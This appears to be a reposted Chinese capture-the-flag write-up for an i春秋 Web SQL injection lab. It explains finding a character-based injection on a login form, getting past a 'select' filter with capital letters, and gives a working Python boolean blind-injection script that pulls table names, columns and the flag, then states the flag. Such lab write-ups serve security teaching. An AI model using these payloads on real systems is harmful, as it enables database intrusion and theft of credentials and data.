i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)
2021/5/22 2:25:24
本文主要是介绍i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
文章目录
- 题目链接:
- 解题思路
- 1、首先点击login.php,输入进行尝试
- 2、开始尝试是否存在注入
- 3、这里可以判断列字段的个数,但是没有回显此步可以省略
- 4、由于没有回显,故只能尝试盲注
- 5、抓包分析
- 6、编写脚本
题目链接:
https://www.ichunqiu.com/battalion?t=1&r=68487
解题思路
1、首先点击login.php,输入进行尝试
输入admin显示账户或者密码错误
而输入其他显示账号不存在
这里可以初步猜测用户名就是admin
2、开始尝试是否存在注入
输入admin’,显示账户不存在,而输入admin’#显示账户或密码错误
这表明存在注入漏洞,并且为字符型漏洞。
3、这里可以判断列字段的个数,但是没有回显此步可以省略
可以判断为3列
4、由于没有回显,故只能尝试盲注
在盲注之前,根据一些系列测试可以发现此题过滤了select
但是可以大写绕过。
5、抓包分析
post提交方式,参数如下为:name和pass
正确回显:{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
错误回显:{“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}
根据不同的回显编写脚本,这里采用布尔盲注,经测试,时间盲注也是可以,但是执行时间较长。
6、编写脚本
import requests def Get(url): result = '' for i in range(1,100): left = 32 right = 128 mid = (left+right)//2 while left<right: #查询表名 # name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \ # "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid) #查询列名 # name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \ # "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid) #根据表名和列名查询字段值 name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid) data = {"name":name,"pass":"1223234"} res = requests.post(url,data) if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode(): left = mid+1 else: right = mid mid = (left+right)//2 #查询结果结束 if mid==32: break result += chr(mid) print(result) print(result) Get('http://eci-2ze7rwkw5ezyr8olv58h.cloudeci1.ichunqiu.com/login.php')
查询表名结果:
查询列名结果:
查询相关的值
得到flag: n1book{login_sqli_is_nice}
这篇关于i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23增量更新怎么做?-icode9专业技术文章分享
- 2024-11-23压缩包加密方案有哪些?-icode9专业技术文章分享
- 2024-11-23用shell怎么写一个开机时自动同步远程仓库的代码?-icode9专业技术文章分享
- 2024-11-23webman可以同步自己的仓库吗?-icode9专业技术文章分享
- 2024-11-23在 Webman 中怎么判断是否有某命令进程正在运行?-icode9专业技术文章分享
- 2024-11-23如何重置new Swiper?-icode9专业技术文章分享
- 2024-11-23oss直传有什么好处?-icode9专业技术文章分享
- 2024-11-23如何将oss直传封装成一个组件在其他页面调用时都可以使用?-icode9专业技术文章分享
- 2024-11-23怎么使用laravel 11在代码里获取路由列表?-icode9专业技术文章分享
- 2024-11-22怎么实现ansible playbook 备份代码中命名包含时间戳功能?-icode9专业技术文章分享